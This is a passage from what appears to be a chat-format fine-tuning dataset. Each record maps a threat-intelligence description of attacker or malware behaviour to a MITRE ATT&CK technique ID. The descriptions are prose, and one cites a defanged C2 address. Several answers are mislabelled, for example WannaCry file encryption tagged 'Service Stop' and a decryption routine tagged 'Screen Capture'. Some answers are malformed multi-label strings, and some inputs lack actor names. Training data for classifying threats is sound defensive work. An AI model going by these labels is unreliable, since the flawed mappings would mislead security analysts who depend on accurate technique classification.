                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has used malware that has the capability to execute malicious code via COM, DCOM, and Outlook."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Each targeted file is opened, read, encrypted in memory, and then written to a new file in the malware’s working directory using the filename format &lt;random number&gt;.WNCRYT. The files are then renamed to their original filename followed by the .WINCRY extension and moved to their original directory. The taskdl.exe process launched by the malware periodically deletes the remaining WINCRYT temporary files. The encryption process does not directly overwrite file data, so forensic recovery of file contents may be possible depending on the environment. The entire contents of the file are encrypted and saved with a custom header (see Figure 7"
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has sent spearphishing attachments attempting to get a user to click."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA551 has prompted users to enable macros within spearphishing attachments to install malware."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerSploit contains a collection of Exfiltration modules that can harvest credentials from Group Policy Preferences."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAFNIUM has used \"rundll32\" to load malicious DLLs."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StoneDrill has relied on injecting its payload directly into the process memory of the victim's preferred browser."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has used malware that can upload additional files to the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It was pretending to be an Adobe flash player update installer on a compromised website to lure users to click for the execution"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation CuckooBees, the threat actors used the `net user` command to gather account information."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In March, we discovered a targeted campaign to distribute Milum, a Trojan designed to gain remote control of devices in target organizations, some of which operate in the industrial sector. The first signs of this operation, which we have dubbed WildPressure, can be traced back to August 2019; still, the campaign remains active. The Milum samples we have seen so far do not share any code similarities with any known APT campaigns. The malware provides attackers with remote control over infected devices, allows downloading and executing commands, collecting and exfiltrating information and installing upgrades in the malware."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sends phishing mail to given recipients and receives user’s access token using device code authentication flow"
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QAKBOT can inject itself into processes like wermgr.exe"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remcos uses Python scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mis-Type has temporarily stored collected information to the files `“%AppData%\\{Unique Identifier}\\HOSTRURKLSR”` and `“%AppData%\\{Unique Identifier}\\NEWERSSEMP”`."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Smoke Loader spawns a new copy of c:\\windows\\syswow64\\explorer.exe and then replaces the executable code in memory with malware."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Network analysis — run one of the plugins to retrieve Active Directory and network information (Fig"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used VBScript and JavaScript files to execute its  payload."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 has created services to appear as benign system tools."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has interacted with compromised systems to browse and copy files through its graphical user interface in  sessions."
            },
            {
                "role": "assistant",
                "content": "T1061 - Graphical User Interface"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  VBA Macro sets its file attributes to System and Hidden."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The assembly code used to create the shellcode can be obtained from: https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_api.asm https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm The purpose of the shellcode is to obtain additional shellcode to execute using an HTTP request to the URL “hxxp://45.76.128[.]165:4443/0w0O6”"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LazyScripter has leveraged dynamic DNS providers for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The first backdoor that the TeleBots group relied heavily on was Python/TeleBot.A, which was rewritten from Python in the Rust programming language. The functionality remains the same: it is a standard backdoor that uses the Telegram Bot API in order to receive commands from, and send responses to, the malware operator"
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SQLRat relies on users clicking on an embedded image to execute the scripts."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mis-Type has used `cmd.exe` to run commands on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is a Volume Boot Record (VBR) bootkit that uses the VBR to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The first 11 bytes of the received buffer are encrypted with the XOR algorithm"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire has a limited number of built-in modules for exploiting remote SMB, JBoss, and Jenkins servers."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CookieMiner can steal saved usernames and passwords in Chrome as well as credit card credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "3, 2019): On May 16, 2019 FireEye's Advanced Practices team attributed the remaining \"suspected APT33 activity\" (referred to as GroupB in this blog post) to APT33, operating at the behest of the Iranian government. The actor leveraged this persistence mechanism to download and execute OS-dependent variants of the publicly available .NET POSHC2 backdoor as well as a newly identified PowerShell-based implant self-named POWERTON. Of note, Advanced Practices separately established that APT33 began using POSHC2 as of at least July 2, 2018, and continued to use it throughout the duration of 2018. At one point in late-August, after the POSHC2 kill date, the adversary used RULER.HOMEPAGE to directly download POWERTON, bypassing the intermediary stages previously observed. FireEye Intelligence has previously reported that APT33 has ties to destructive malware, and they pose a heightened risk to critical infrastructure. The operators behind each of the described intrusions are using publicly available but not widely understood tools and techniques in addition to proprietary implants as needed. Custom Backdoor: POWERTON . POWERTON is a backdoor written in PowerShell; FireEye has not yet identified any publicly available toolset with a similar code base, indicating that it is likely custom-built. FireEye has observed an increase in targeted adversaries challenging and subverting security controls on Exchange and Office365. At FireEye, our decisions are data driven, but data provided to us is often incomplete and missing pieces must be inferred based on our expertise in order for us to respond to intrusions effectively. Credential harvesting phishing scams, where harvested credentials may be sold, re-used, or documented permanently elsewhere on the internet"
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerSploit contains a collection of Exfiltration modules that can access data from local files, volumes, and processes."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The code injected into an msiexec.exe sends a beacon signal to the CnC server and awaits commands"
            },
            {
                "role": "assistant",
                "content": "T1218.007 - Signed Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NanHaiShu uses DNS for the C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CHOPSTICK encrypts C2 communications with RC4."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HermeticWizard has the ability to create a new process using `rundll32`."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleSeed has the ability to search for .txt, .ppt, .hwp, .pdf, and .doc files in specified directories."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "3PARA RAT has a command to set certain attributes such as creation/modification timestamps on files."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After decoding and decrypting with the XOR key “DARKMATTER” it gets the real C&C URL ‘banhamm.com‘."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SideTwist has exfiltrated data over its C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete has a component to check for running processes to look for web browsers."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to communicate over a backup channel via plus.google.com."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The core component will check whether it is located in the %temp%\\[appname] directory, otherwise it copies itself to %temp%\\[appname]\\[appname] and set the file attribute to hidden"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NCCIC observed multiple methods used by NotPetya to propagate across a network. The first and—in most cases—most effective method, uses a modified version of the Mimikatz tool to steal the user’s Windows credentials. The cyber threat actor can then use the stolen credentials, along with the native Windows Management Instrumentation Command Line (WMIC) tool or the Microsoft SysInternals utility, psexec.exe, to access other systems on the network. Another method for propagation uses the EternalBlue exploit tool to target unpatched systems running a vulnerable version of SMBv1"
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) Suckfly's first step was to identify a user to target so the attackers could attempt their initial breach into the e-commerce company's internal network. 2) On April 22, 2015, Suckfly exploited a vulnerability on the targeted employee's operating system (Windows) that allowed the attackers to bypass the User Account Control and install the Nidiran back door to provide access for their attack. 3) After the attackers successfully exploited the employee’s system, they gained access to the e-commerce company's internal network. To do this the attackers used a signed credential-dumping tool to obtain the victim's account credentials. With the account credentials, the attackers were able to access the victim's account and navigate the internal corporate network as though they were the employee. 4) On April 27, the attackers scanned the corporate internal network for hosts with ports 8080, 5900, and 40 open. Ports 8080 and 5900 are common ports used with legitimate protocols, but can be abused by attackers when they are not secured. Based on Suckfly scanning for common ports, it’s clear that the group was looking to expand its foothold on the e-commerce company's internal network. 5) The attackers’ final step was to exfiltrate data off the victim’s network and onto Suckfly’s infrastructure. While we know that the attackers used the Nidiran back door to steal information about the compromised organization, we do not know if Suckfly was successful in stealing other information"
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For every hard-coded TCP port used to communicate with the C&amp;C servers, the malware creates a rule in Netfilter — the Linux kernel firewall — using the iptc_insert_entry() function from libiptc1 to allow output communication to it"
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware payload is copied to the ADMIN$ share of a remote system, and Impacket is used to remotely create a Windows Scheduled Task on target systems to execute the payload"
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares', 'T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tonto Team has routed their traffic through an external server in order to obfuscate their location."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can enumerate antivirus software on the target."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Executive summary . The PROMETHIUM threat actor — active since 2012 — has been exposed multiple times over the past several years.. However, this has not deterred this actor from continuing and expanding their activities. The trojanized setup will install the malware and the legitimate application, which is a good way to disguise its activities. PROMETHIUM has been resilient over the years. We have no evidence that the websites of the real applications were compromised to host the malicious installer. The usage of the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run registry key has a persistence mechanism that has been replaced by the creation of a service. If it is executed with the \"help\" parameter, it will install a service to execute itself as a service. This has a notable side effect: if rmaserv.exe is executed isolated on a sandbox (so without the parameter), the service is not created. Document search module: Mssqldbserv.xml . This module has been described before in the article here. The purpose of this tool is to parse the hard drive for files with a specific extension and create an archive with these files. SFT file creation routine Using the working directory as a base path, which in this sample case is C:\\DOCUME~1\\&lt;USER&gt;~1\\LOCALS~1\\Temp\\4CA-B25C11-A27BC\\, each selected file will be compressed into the file kr.zp"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EvilBunny's dropper has checked the number of processes and the length and strings of its own file name to identify if the malware is in a sandbox environment."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This shortcut file points to the path of the previously written ‘Applet.cpl’ file"
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Group has used a JavaScript backdoor that is capable of launching cmd.exe to execute shell commands."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some Volgmer variants use SSL to encrypt C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can use HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Sharpshooter, threat actors installed Rising Sun in the Startup folder and disguised it as `mssync.exe`."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Grandoreiro can download its second stage from a hardcoded URL within the loader's code."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has used a batch script to gather folder and file names from victim hosts."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Melcoz has the ability to steal credentials from web browsers."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Squirrelwaffle has been executed using `rundll32.exe`."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The screen capture below shows the decryption function.It then calls the StartAndPatchRegAsm function.This function tries to find the original Microsoft RegAsm executable path"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "removes batch files to reduce fingerprint on the system as well as deletes the CAB file that gets encoded upon infection."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WhisperGate has used the `ExitWindowsEx` API to flush file buffers to disk and stop running processes."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MegaCortex has used the open-source library, Mbed Crypto, and generated AES keys to carry out the file encryption process."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "P.A.S. Webshell has the ability to modify file permissions."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy has a module that checks a number of indicators on the system to determine if its running on a virtual machine."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In response, if the status is OK, then a TOKEN is received from the C2 server that is used to synchronize the activities between the victim’s machine and the C2 server"
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
